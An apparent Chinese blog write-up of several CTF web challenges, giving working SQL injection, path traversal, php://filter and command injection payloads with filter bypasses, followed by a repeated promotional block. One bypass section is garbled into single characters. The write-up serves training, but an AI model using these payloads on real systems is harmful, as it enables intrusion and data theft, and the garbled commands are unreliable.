- [HCTF 2018]WarmUp
- [ACTF2020 新生赛]Include
- [ACTF2020 新生赛]Exec
- [GXYCTF2019]Ping Ping Ping
- [强网杯 2019]随便注
- [SUCTF 2019]EasySQL
- [极客大挑战 2019]Secret File
- [极客大挑战 2019]LoveSQL
- [极客大挑战 2019]Http
- [极客大挑战 2019]Knife
- [极客大挑战 2019]Upload
- [ACTF2020 新生赛]Upload
- [极客大挑战 2019]BabySQL
- [极客大挑战 2019]PHP
- [ACTF2020 新生赛]BackupFile
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]BuyFlag
- [BJDCTF2020]Easy MD5
- [护网杯 2018]easy_tornado
[极客大挑战 2019]EasySQL
首先第一步 判断是哪一种注入方式:字符型?还是数字型?
在请求框中输入 1 1’ 来根据服务器给出的回显进行判断
输入1时
输入1’ 时
根据回显内容可知,该注入类型为字符型注入
接下来因为是字符型注入,可以尝试字符型注入时的万能公式试一试
这里我个人认为区分字符型和数字型的最简单的方式就是看他1后面有没有跟着单引号,如果有就是字符型,如果没有就是数字型
万能公式:
1 and 1=1 数字型
1’ and ‘1’=‘1 字符型
1 or 1=1 数字型
1’ or ‘1’='1 字符型
使用 1’ or 1=1 进行注入时,注入成功
使用 1’ and ‘1’= '1 进行注入,注入不成功
为什么and不行而or就可以呢?
这里就要首先了解and和or的区别。在注入时,A and B 执行成功的条件是A与B必须同时成立,才判断为正确。而 A or B 执行成功的条件是A与B有一项正确即可。可以理解为与或关系,and是与or是或,这样就可以理解为什么and不可以了。
[极客大挑战 2019]Havefun
我们可以看见这个页面上只有一只小猫,我们可以尝试查看网页源代码
可以鼠标右击->查看网页源代码
也可以ctrl+U快捷打开网页源代码
我们可以看到网页源代码中有这么一块代码
呢么我们尝试在url中请求?cat=dog尝试一下,可以看到flag出现了
[HCTF 2018]WarmUp
题目给出提示是php 代码审计,那么我们可以直接查看网页源代码
可以看到有一个php代码文件 source.php
我们在url后加上/source.php 对该文件下php代码内容进行访问
同样审计发现,还有一个php文件叫做hint.php,同样的方法对该文件进行访问
hint.php文件告诉我们 flag不在hint.php中,而在一个叫做ffffllllaaaagggg的东西中
这时候我们返回头来继续查看source.php,理解source.php中的代码
![](https://i-blog.csdnimg.cn/blog_migrate/bf30d345e83bff4a689858571f55ff20.png)
通过查看代码,我们对url进行修改,键入
source.php?file=hint.php?ffffllllaaaagggg
这时候我们发现图片消失了,说明我们键入的内容是满足条件的,
但是我们不知道ffffllllaaaagggg的具体位置,所以我们采用如下方法进行文件访问
source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg
flag出现
…/ 路径穿越(目录遍历)攻击
…/ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 …/ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。
[ACTF2020 新生赛]Include
首先打开发现有一个链接是tips
打开后是名为flag.php的文件,我们要想办法获取到文件的源码。
涉及到PHP伪协议,可以参考PHP伪协议
在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容
?file=php://filter/read=convert.base64-encode/resource=flag.php
对获取到的内容进行base64解密即可获得flag
base64解密网址:base64解码
[ACTF2020 新生赛]Exec
查看网页源代码,发现提示为命令执行漏洞(command execution)
尝试查看post请求中是否存在命令执行漏洞
尝试写入payload 127.0.0.1| ls
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag
方法: 127.0.0.1 | ls …/
127.0.0.1 | ls …/…/
127.0.0.1 | ls …/…/…/
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看
127.0.0.1 | cat …/…/…/flag
[GXYCTF2019]Ping Ping Ping
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交
尝试在url中衔接上/?ip=127.0.0.1
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞
第一次我输入的是:
/?ip=127.0.0.1| ls 发现页面将空格进行了过滤
第二次我输入的是:
/?ip=127.0.0.1|ls 发现页面回显出了一些文件名
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看
/?ip=127.0.0.1|cat flag.php
但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过
空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php}
cat
I
F
S
f
l
a
g
.
p
h
p
c
a
t
{IFS}flag.php cat
IFSflag.phpcatIFS
9
f
l
a
g
.
p
h
p
c
a
t
9flag.php cat
9flag.phpcatIFS
1
f
l
a
g
.
p
h
p
c
a
t
<
f
l
a
g
.
p
h
p
c
a
t
<
>
f
l
a
g
.
p
h
p
k
g
=
1flag.php cat<flag.php %09替换 cat<>flag.php kg=
1flag.phpcat<flag.phpcat<>flag.phpkg=‘\x20flag.php’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容
cat$IFS$9index.php
发现其实过滤了很多东西
我们设置payload,读取一下所有文件的所有内容(我是这样理解的)
因为过滤了很多内容,考虑使用``的形式来绕过正则限制
反引号的作用是将命令的输出当做输入执行
/?ip=127.0.0.1;cat$IFS$1’ls’
然后查看一下网页源代码便获得了flag
或者采用另一种方法,对含有flag的payload进行b64编码,在用base64 -d解码,最后在通过sh执行,最终执行的就是 cat flag.php
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
同样查看网页源代码,便可以看到flag
[强网杯 2019]随便注
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
接下来获取列数
1’ order by 1# 正常
1’ order by 2# 正常
1’ order by 3# 报错
说明总共有两列
尝试最简单的联合查询(union select)查询所有数据库
-1’ union select 1,database()#
发现有一些字符被过滤掉了
更换思路,考虑堆叠注入查询所有数据库
注意 database 和 databases 的区别
1;show database;#
1;show databases;#
查询完数据库后,接下来查询所有表
1; show tables;#
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’
-1’;show columns from1919810931114514
;#
1919810931114514
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下
select * from words where id =’1‘;
根据之前我们的查看我们知道它没有过滤rename和alert关键字,所以我们可以修改表的结构,来达到查询flag列的内容
我们先查看words表下的列的内容
0’;show columns from words;#
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下
1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
最后使用万能密码,即可得到flag
[SUCTF 2019]EasySQL
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
那就使用堆叠注入,尝试查看数据库,发现注入成功
1;show databases;
再查看表名
1;show tables;
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整
在sql语句中 || 表示的是或逻辑
也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0
接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的
内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。
即:select 输入数据 || flag from Flag
第一种方法:
*,1
相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
另一种方法的思路就是 将||或的逻辑改成连接符的作用
就要补充一个知识点
设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用
构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag
[极客大挑战 2019]Secret File
首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive_room.php
对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
但是对他进行访问后发现实际到达的却是end.php
这时我们掏出我们的BP进行一个简单的抓包
发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了PHP伪协议
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
最后对密文进行base64解码就可以得到结果
[极客大挑战 2019]LoveSQL
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
使用万能密码进行一下测试
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧
1’ order by 3#
总共有三列
查询一下表名,总共有俩个表
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
]
[外链图片转存中…(img-2nnAuyGP-1712748266792)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-9rOd8Zdq-1712748266792)]
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-59Lapve0-1712748266793)]